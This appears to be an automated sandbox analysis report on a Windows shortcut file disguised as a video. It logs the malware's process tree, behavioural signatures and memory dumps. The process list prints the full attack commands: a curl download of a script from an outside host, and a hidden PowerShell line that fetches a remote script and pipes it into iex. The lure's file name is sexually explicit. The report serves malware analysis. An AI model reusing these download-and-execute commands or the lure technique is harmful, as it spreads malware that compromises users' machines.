Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:27
General
- Target PACK8/teenslutpussyspread.mp4.lnk
- Size 699B
- Sample260626-e3f1rahw6l
- SHA256 4abe5d9e3867b9ac476d3af7a918b2b652605c844f418d2b5b3154f851852645
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 25 IoCs
- Suspicious use of SendNotifyMessage 8 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutpussyspread.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenslutpussyspread.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://3gunit.com" "106"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" https://3gunit.com/rAU.ps14⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_5bauofyc.fgp.ps1
a.cmd
memory/2512-11-0x000002527EB90000-0x000002527EBB2000-memory.dmp
memory/4704-39-0x00007FFC62660000-0x00007FFC6267A000-memory.dmp
memory/4704-20-0x00007FF759690000-0x00007FF759788000-memory.dmp
memory/4704-23-0x00007FFC78F20000-0x00007FFC78F31000-memory.dmp
memory/4704-25-0x00007FFC69C20000-0x00007FFC69C42000-memory.dmp
memory/4704-24-0x00007FFC6FE40000-0x00007FFC6FE59000-memory.dmp
memory/4704-22-0x00007FFC63280000-0x00007FFC63536000-memory.dmp
memory/4704-28-0x00007FFC69740000-0x00007FFC69754000-memory.dmp
memory/4704-30-0x00007FFC62C00000-0x00007FFC62CD2000-memory.dmp
memory/4704-29-0x00007FFC62CE0000-0x00007FFC62CF1000-memory.dmp
memory/4704-27-0x00007FFC62D00000-0x00007FFC63090000-memory.dmp
memory/4704-26-0x00007FFC642B0000-0x00007FFC642DB000-memory.dmp
memory/4704-31-0x00007FFC62960000-0x00007FFC62BF6000-memory.dmp
memory/4704-32-0x00007FFC62870000-0x00007FFC62958000-memory.dmp
memory/4704-41-0x00007FFC62620000-0x00007FFC62631000-memory.dmp
memory/4704-40-0x00007FFC62640000-0x00007FFC62651000-memory.dmp
memory/4704-21-0x00007FFC706F0000-0x00007FFC70724000-memory.dmp
memory/4704-53-0x00007FFC5A130000-0x00007FFC5A375000-memory.dmp
memory/4704-48-0x00007FFC62200000-0x00007FFC62212000-memory.dmp
memory/4704-38-0x00007FFC62680000-0x00007FFC626AD000-memory.dmp
memory/4704-51-0x00000261EED60000-0x00000261EED73000-memory.dmp
memory/4704-50-0x00000261EED30000-0x00000261EED5A000-memory.dmp
memory/4704-49-0x00000261EEE30000-0x00000261EF130000-memory.dmp
memory/4704-47-0x00007FFC62220000-0x00007FFC6223B000-memory.dmp
memory/4704-46-0x00007FFC62240000-0x00007FFC622EB000-memory.dmp
memory/4704-45-0x00007FFC622F0000-0x00007FFC62315000-memory.dmp
memory/4704-44-0x00007FFC62320000-0x00007FFC6236F000-memory.dmp
memory/4704-43-0x00007FFC62370000-0x00007FFC62408000-memory.dmp
memory/4704-42-0x00007FFC62410000-0x00007FFC6261B000-memory.dmp
memory/4704-52-0x00000261EED80000-0x00000261EED92000-memory.dmp
memory/4704-37-0x00007FFC626B0000-0x00007FFC626D6000-memory.dmp
memory/4704-36-0x00007FFC626E0000-0x00007FFC626F8000-memory.dmp
memory/4704-35-0x00007FFC62700000-0x00007FFC6272F000-memory.dmp
memory/4704-34-0x00007FFC62730000-0x00007FFC62771000-memory.dmp
memory/4704-33-0x00007FFC62780000-0x00007FFC62863000-memory.dmp
memory/4704-56-0x00007FFC63280000-0x00007FFC63536000-memory.dmp
memory/4704-90-0x00007FFC63280000-0x00007FFC63536000-memory.dmp